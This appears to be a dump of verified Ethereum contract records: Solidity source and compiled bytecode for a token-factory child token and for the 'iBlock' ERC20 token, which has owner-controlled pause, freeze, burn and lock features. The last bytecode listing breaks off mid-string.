@param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: contracts/ChildToken.sol /** * @title ChildToken * @dev ChildToken is the base contract of child token contracts */ contract ChildToken is StandardToken { } // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: contracts/Slogan.sol /** * @title Slogan * @dev Developers and owners can set a slogan in their contract */ contract Slogan is Ownable { string public slogan; event SloganChanged(string indexed oldSlogan, string indexed newSlogan); function Slogan(string _slogan) public { slogan = _slogan; } function ownerChangeSlogan(string _slogan) onlyOwner public { SloganChanged(slogan, _slogan); slogan = _slogan; } } /** * @title Bitansuo * @dev Bitansuo is a contract with bitansuo&#39;s slogan. */ contract Bitansuo is Slogan { function Bitansuo() Slogan("币探索 (bitansuo.com | bitansuo.eth)") public { } } // File: contracts/Refundable.sol /** * @title Refundable * @dev Base contract that can refund funds(ETH and tokens) by owner. * @dev Reference TokenDestructible(zeppelinand) TokenDestructible(zeppelin) */ contract Refundable is Bitansuo { event RefundETH(address indexed owner, address indexed payee, uint256 amount); event RefundERC20(address indexed owner, address indexed payee, address indexed token, uint256 amount); function Refundable() public payable { } function refundETH(address payee, uint256 amount) onlyOwner public { require(payee != address(0)); require(this.balance >= amount); assert(payee.send(amount)); RefundETH(owner, payee, amount); } function refundERC20(address tokenContract, address payee, uint256 amount) onlyOwner public { require(payee != address(0)); bool isContract; assembly { isContract := gt(extcodesize(tokenContract), 0) } require(isContract); ERC20 token = ERC20(tokenContract); assert(token.transfer(payee, amount)); RefundERC20(owner, payee, tokenContract, amount); } } // File: zeppelin-solidity/contracts/token/ERC20/BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); } } // File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } // File: contracts/ComplexChildToken.sol /** * @title ComplexChildToken * @dev Complex child token to be generated by TokenFather. */ contract ComplexChildToken is ChildToken, Refundable, MintableToken, BurnableToken { string public name; string public symbol; uint8 public decimals; bool public canBurn; event Burn(address indexed burner, uint256 value); function ComplexChildToken(address _owner, string _name, string _symbol, uint256 _initSupply, uint8 _decimals, bool _canMint, bool _canBurn) public { require(_owner != address(0)); owner = _owner; name = _name; symbol = _symbol; decimals = _decimals; uint256 amount = _initSupply; totalSupply_ = totalSupply_.add(amount); balances[owner] = balances[owner].add(amount); Transfer(address(0), owner, amount); if (!_canMint) { mintingFinished = true; } canBurn = _canBurn; } /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(canBurn); BurnableToken.burn(_value); } function ownerCanBurn(bool _canBurn) onlyOwner public { canBurn = _canBurn; } }
0x6060604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461013757806306fdde031461015e578063095ea7b3146101e857806318160ddd1461020a57806323b872dd1461022f57806324e5eeaa146102575780632fbc83531461026a578063313ce5671461028457806340c10f19146102ad57806342966c68146102cf57806348c44712146102e55780634bd227661461030d578063661884631461032f57806370a08231146103515780637d64bcb4146103705780638da5cb5b1461038357806395d89b41146103b2578063a9059cbb146103c5578063c1eb1840146103e7578063d73dd623146103fa578063dd62ed3e1461041c578063e1d94d9414610441578063f2fde38b14610492575b600080fd5b341561014257600080fd5b61014a6104b1565b604051901515815260200160405180910390f35b341561016957600080fd5b6101716104ba565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101ad578082015183820152602001610195565b50505050905090810190601f1680156101da5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101f357600080fd5b61014a600160a060020a0360043516602435610558565b341561021557600080fd5b61021d6105c4565b60405190815260200160405180910390f35b341561023a57600080fd5b61014a600160a060020a03600435811690602435166044356105cb565b341561026257600080fd5b61017161074b565b341561027557600080fd5b61028260043515156107b6565b005b341561028f57600080fd5b6102976107eb565b60405160ff909116815260200160405180910390f35b34156102b857600080fd5b61014a600160a060020a03600435166024356107f4565b34156102da57600080fd5b6102826004356108fb565b34156102f057600080fd5b610282600160a060020a036004358116906024351660443561091d565b341561031857600080fd5b610282600160a060020a0360043516602435610a4c565b341561033a57600080fd5b61014a600160a060020a0360043516602435610b09565b341561035c57600080fd5b61021d600160a060020a0360043516610c03565b341561037b57600080fd5b61014a610c1e565b341561038e57600080fd5b610396610c8b565b604051600160a060020a03909116815260200160405180910390f35b34156103bd57600080fd5b610171610c9a565b34156103d057600080fd5b61014a600160a060020a0360043516602435610d05565b34156103f257600080fd5b61014a610e17565b341561040557600080fd5b61014a600160a060020a0360043516602435610e25565b341561042757600080fd5b61021d600160a060020a0360043581169060243516610ec9565b341561044c57600080fd5b61028260046024813581810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610ef495505050505050565b341561049d57600080fd5b610282600160a060020a0360043516611018565b60055460ff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105505780601f1061052557610100808354040283529160200191610550565b820191906000526020600020905b81548152906001019060200180831161053357829003601f168201915b505050505081565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6001545b90565b6000600160a060020a03831615156105e257600080fd5b600160a060020a03841660009081526020819052604090205482111561060757600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561063a57600080fd5b600160a060020a038416600090815260208190526040902054610663908363ffffffff6110b316565b600160a060020a038086166000908152602081905260408082209390935590851681522054610698908363ffffffff6110c516565b600160a060020a03808516600090815260208181526040808320949094558783168252600281528382203390931682529190915220546106de908363ffffffff6110b316565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105505780601f1061052557610100808354040283529160200191610550565b60035433600160a060020a039081169116146107d157600080fd5b600880549115156101000261ff0019909216919091179055565b60085460ff1681565b60035460009033600160a060020a0390811691161461081257600080fd5b60055460ff161561082257600080fd5b600154610835908363ffffffff6110c516565b600155600160a060020a038316600090815260208190526040902054610861908363ffffffff6110c516565b600160a060020a0384166000818152602081905260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a03831660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600854610100900460ff16151561091157600080fd5b61091a816110db565b50565b600354600090819033600160a060020a0390811691161461093d57600080fd5b600160a060020a038416151561095257600080fd5b6000853b1191508161096357600080fd5b5083600160a060020a03811663a9059cbb85856000604051602001526040517c010000000000000000000000000000000000000000000000000000000063ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156109db57600080fd5b6102c65a03f115156109ec57600080fd5b5050506040518051905015156109fe57fe5b600354600160a060020a038087169186821691167fa1e4855d49b75f7254460c3e0a5572cde83f71d659655bcef5319969068d5a638660405190815260200160405180910390a45050505050565b60035433600160a060020a03908116911614610a6757600080fd5b600160a060020a0382161515610a7c57600080fd5b600160a060020a0330163181901015610a9457600080fd5b600160a060020a03821681156108fc0282604051600060405180830381858888f193505050501515610ac257fe5b600354600160a060020a0380841691167f94c0c9648f44e27ff77f68e457219cb803cf319b29a83403156a3ef21747101e8360405190815260200160405180910390a35050565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610b6657600160a060020a033381166000908152600260209081526040808320938816835292905290812055610b9d565b610b76818463ffffffff6110b316565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60035460009033600160a060020a03908116911614610c3c57600080fd5b60055460ff1615610c4c57600080fd5b6005805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600354600160a060020a031681565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105505780601f1061052557610100808354040283529160200191610550565b6000600160a060020a0383161515610d1c57600080fd5b600160a060020a033316600090815260208190526040902054821115610d4157600080fd5b600160a060020a033316600090815260208190526040902054610d6a908363ffffffff6110b316565b600160a060020a033381166000908152602081905260408082209390935590851681522054610d9f908363ffffffff6110c516565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600854610100900460ff1681565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610e5d908363ffffffff6110c516565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610f0f57600080fd5b806040518082805190602001908083835b60208310610f3f5780518252601f199092019160209182019101610f20565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060046040518082805460018160011615610100020316600290048015610fc85780601f10610fa6576101008083540402835291820191610fc8565b820191906000526020600020905b815481529060010190602001808311610fb4575b505091505060405180910390207f1bd1859f91725c6c9db8e93c05d317c051c0a026aac89354dcfcef75b1534b2d60405160405180910390a36004818051611014929160200190611195565b5050565b60035433600160a060020a0390811691161461103357600080fd5b600160a060020a038116151561104857600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000828211156110bf57fe5b50900390565b6000828201838110156110d457fe5b9392505050565b600160a060020a03331660009081526020819052604081205482111561110057600080fd5b5033600160a060020a03811660009081526020819052604090205461112590836110b3565b600160a060020a038216600090815260208190526040902055600154611151908363ffffffff6110b316565b600155600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106111d657805160ff1916838001178555611203565b82800160010185558215611203579182015b828111156112035782518255916020019190600101906111e8565b5061120f929150611213565b5090565b6105c891905b8082111561120f57600081556001016112195600a165627a7a7230582094d9e4d5610184c95e28bf843fe60c0f2bcb1ae3e80316d7c8976bbcdf505ad60029
{"success": true, "error": null, "results": {}}
5,016
0xb8fdcdb147eec26a78477be0511c5a66b53cc671
// ---------------------------------------------------------------------------- // iBlock Contract // Name : iBlock // Symbol : IB // Decimals : 18 // InitialSupply : 1,000,000,000 IB // ---------------------------------------------------------------------------- pragma solidity 0.5.8; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } contract iBlock is ERC20 { string public constant name = "iBlock"; string public constant symbol = "IB"; uint8 public constant decimals = 18; uint256 public constant initialSupply = 1000000000 * (10 ** uint256(decimals)); constructor() public { super._mint(msg.sender, initialSupply); owner = msg.sender; } address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0), "Already Owner"); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused, "Paused by owner"); _; } modifier whenPaused() { require(paused, "Not paused now"); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } event Frozen(address target); event Unfrozen(address target); mapping(address => bool) internal freezes; modifier whenNotFrozen() { require(!freezes[msg.sender], "Sender account is locked."); _; } function freeze(address _target) public onlyOwner { freezes[_target] = true; emit Frozen(_target); } function unfreeze(address _target) public onlyOwner { freezes[_target] = false; emit Unfrozen(_target); } function isFrozen(address _target) public view returns (bool) { return freezes[_target]; } function transfer( address _to, uint256 _value ) public whenNotFrozen whenNotPaused returns (bool) { releaseLock(msg.sender); return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { require(!freezes[_from], "From account is locked."); releaseLock(_from); return super.transferFrom(_from, _to, _value); } event Burn(address indexed burner, uint256 value); function burn(address _who, uint256 _value) public onlyOwner { require(_value <= super.balanceOf(_who), "Balance is too small."); _burn(_who, _value); emit Burn(_who, _value); } struct LockInfo { uint256 releaseTime; uint256 balance; } mapping(address => LockInfo[]) internal lockInfo; event Lock(address indexed holder, uint256 value, uint256 releaseTime); event Unlock(address indexed holder, uint256 value); function balanceOf(address _holder) public view returns (uint256 balance) { uint256 lockedBalance = 0; for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) { lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance); } return super.balanceOf(_holder).add(lockedBalance); } function releaseLock(address _holder) internal { for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) { if (lockInfo[_holder][i].releaseTime <= now) { _balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1]; i--; } lockInfo[_holder].length--; } } } function lockCount(address _holder) public view returns (uint256) { return lockInfo[_holder].length; } function lockState(address _holder, uint256 _idx) public view returns (uint256, uint256) { return (lockInfo[_holder][_idx].releaseTime, lockInfo[_holder][_idx].balance); } function lock(address _holder, uint256 _amount, uint256 _releaseTime) public onlyOwner { require(super.balanceOf(_holder) >= _amount, "Balance is too small."); _balances[_holder] = _balances[_holder].sub(_amount); lockInfo[_holder].push( LockInfo(_releaseTime, _amount) ); emit Lock(_holder, _amount, _releaseTime); } function unlock(address _holder, uint256 i) public onlyOwner { require(i < lockInfo[_holder].length, "No lock information."); _balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1]; } lockInfo[_holder].length--; } function transferWithLock(address _to, uint256 _value, uint256 _releaseTime) public onlyOwner returns (bool) { require(_to != address(0), "wrong address"); require(_value <= super.balanceOf(owner), "Not enough balance"); _balances[owner] = _balances[owner].sub(_value); lockInfo[_to].push( LockInfo(_releaseTime, _value) ); emit Transfer(owner, _to, _value); emit Lock(_to, _value, _releaseTime); return true; } }
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80638456cb59116100de578063a9059cbb11610097578063df03458611610071578063df034586146104ff578063e2ab691d14610525578063e583983614610557578063f2fde38b1461057d5761018e565b8063a9059cbb14610473578063dd62ed3e1461049f578063de6baccb146104cd5761018e565b80638456cb59146103c15780638d1fdf2f146103c95780638da5cb5b146103ef57806395d89b41146104135780639dc29fac1461041b578063a457c2d7146104475761018e565b8063395093511161014b57806346cf1bb51161012557806346cf1bb5146103225780635c975abb1461036757806370a082311461036f5780637eee288d146103955761018e565b806339509351146102c65780633f4ba83a146102f257806345c8b1a6146102fc5761018e565b806306fdde0314610193578063095ea7b31461021057806318160ddd1461025057806323b872dd1461026a578063313ce567146102a0578063378dc3dc146102be575b600080fd5b61019b6105a3565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d55781810151838201526020016101bd565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61023c6004803603604081101561022657600080fd5b506001600160a01b0381351690602001356105c8565b604080519115158252519081900360200190f35b6102586105de565b60408051918252519081900360200190f35b61023c6004803603606081101561028057600080fd5b506001600160a01b038135811691602081013590911690604001356105e5565b6102a86106cc565b6040805160ff9092168252519081900360200190f35b6102586106d1565b61023c600480360360408110156102dc57600080fd5b506001600160a01b0381351690602001356106e1565b6102fa610722565b005b6102fa6004803603602081101561031257600080fd5b50356001600160a01b031661080f565b61034e6004803603604081101561033857600080fd5b506001600160a01b0381351690602001356108b8565b6040805192835260208301919091528051918290030190f35b61023c610931565b6102586004803603602081101561038557600080fd5b50356001600160a01b0316610941565b6102fa600480360360408110156103ab57600080fd5b506001600160a01b0381351690602001356109db565b6102fa610c89565b6102fa600480360360208110156103df57600080fd5b50356001600160a01b0316610d72565b6103f7610e1e565b604080516001600160a01b039092168252519081900360200190f35b61019b610e2d565b6102fa6004803603604081101561043157600080fd5b506001600160a01b038135169060200135610e4e565b61023c6004803603604081101561045d57600080fd5b506001600160a01b038135169060200135610f4c565b61023c6004803603604081101561048957600080fd5b506001600160a01b038135169060200135610f88565b610258600480360360408110156104b557600080fd5b506001600160a01b038135811691602001351661105a565b61023c600480360360608110156104e357600080fd5b506001600160a01b038135169060208101359060400135611085565b6102586004803603602081101561051557600080fd5b50356001600160a01b03166112a2565b6102fa6004803603606081101561053b57600080fd5b506001600160a01b0381351690602081013590604001356112bd565b61023c6004803603602081101561056d57600080fd5b50356001600160a01b031661142c565b6102fa6004803603602081101561059357600080fd5b50356001600160a01b031661144a565b604051806040016040528060068152602001600160d01b6569426c6f636b0281525081565b60006105d53384846114a7565b50600192915050565b6002545b90565b600354600090600160a01b900460ff161561063f5760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b6001600160a01b03841660009081526004602052604090205460ff16156106b05760408051600160e51b62461bcd02815260206004820152601760248201527f46726f6d206163636f756e74206973206c6f636b65642e000000000000000000604482015290519081900360640190fd5b6106b984611599565b6106c48484846117bc565b949350505050565b601281565b6b033b2e3c9fd0803ce800000081565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105d591859061071d908663ffffffff61180e16565b6114a7565b6003546001600160a01b031633146107735760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff166107d45760408051600160e51b62461bcd02815260206004820152600e60248201527f4e6f7420706175736564206e6f77000000000000000000000000000000000000604482015290519081900360640190fd5b60038054600160a01b60ff02191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b6003546001600160a01b031633146108605760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19169055815192835290517f4feb53e305297ab8fb8f3420c95ea04737addc254a7270d8fc4605d2b9c61dba9281900390910190a150565b6001600160a01b03821660009081526005602052604081208054829190849081106108df57fe5b600091825260208083206002909202909101546001600160a01b03871683526005909152604090912080548590811061091457fe5b906000526020600020906002020160010154915091509250929050565b600354600160a01b900460ff1681565b600080805b6001600160a01b0384166000908152600560205260409020548110156109ba576001600160a01b038416600090815260056020526040902080546109b091908390811061098f57fe5b9060005260206000209060020201600101548361180e90919063ffffffff16565b9150600101610946565b506109d4816109c88561186b565b9063ffffffff61180e16565b9392505050565b6003546001600160a01b03163314610a2c5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b0382166000908152600560205260409020548110610a9b5760408051600160e51b62461bcd02815260206004820152601460248201527f4e6f206c6f636b20696e666f726d6174696f6e2e000000000000000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526005602052604090208054610afd919083908110610ac457fe5b60009182526020808320600160029093020191909101546001600160a01b0386168352908290526040909120549063ffffffff61180e16565b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1919084908110610b5157fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b0382166000908152600560205260408120805483908110610b9c57fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114610c5b576001600160a01b038216600090815260056020526040902080546000198101908110610bfe57fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b031681526020019081526020016000208281548110610c3c57fe5b6000918252602090912082546002909202019081556001918201549101555b6001600160a01b0382166000908152600560205260409020805490610c84906000198301611bad565b505050565b6003546001600160a01b03163314610cda5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff1615610d315760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b60038054600160a01b60ff021916600160a01b1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b6003546001600160a01b03163314610dc35760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19166001179055815192835290517f8a5c4736a33c7b7f29a2c34ea9ff9608afc5718d56f6fd6dcbd2d3711a1a49139281900390910190a150565b6003546001600160a01b031681565b604051806040016040528060028152602001600160f11b6124a10281525081565b6003546001600160a01b03163314610e9f5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b610ea88261186b565b811115610eff5760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b610f098282611886565b6040805182815290516001600160a01b038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105d591859061071d908663ffffffff61195016565b3360009081526004602052604081205460ff1615610ff05760408051600160e51b62461bcd02815260206004820152601960248201527f53656e646572206163636f756e74206973206c6f636b65642e00000000000000604482015290519081900360640190fd5b600354600160a01b900460ff16156110475760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b61105033611599565b6109d483836119b0565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6003546000906001600160a01b031633146110d95760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b0384166111375760408051600160e51b62461bcd02815260206004820152600d60248201527f77726f6e67206164647265737300000000000000000000000000000000000000604482015290519081900360640190fd5b60035461114c906001600160a01b031661186b565b8311156111a35760408051600160e51b62461bcd02815260206004820152601260248201527f4e6f7420656e6f7567682062616c616e63650000000000000000000000000000604482015290519081900360640190fd5b6003546001600160a01b03166000908152602081905260409020546111ce908463ffffffff61195016565b600380546001600160a01b039081166000908152602081815260408083209590955588831680835260058252858320865180880188528981528084018b81528254600181810185559387529585902091516002909602909101948555519301929092559254845188815294519194921692600080516020611d1c833981519152928290030190a3604080518481526020810184905281516001600160a01b038716927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b928290030190a25060019392505050565b6001600160a01b031660009081526005602052604090205490565b6003546001600160a01b0316331461130e5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b816113188461186b565b101561136e5760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b6001600160a01b038316600090815260208190526040902054611397908363ffffffff61195016565b6001600160a01b0384166000818152602081815260408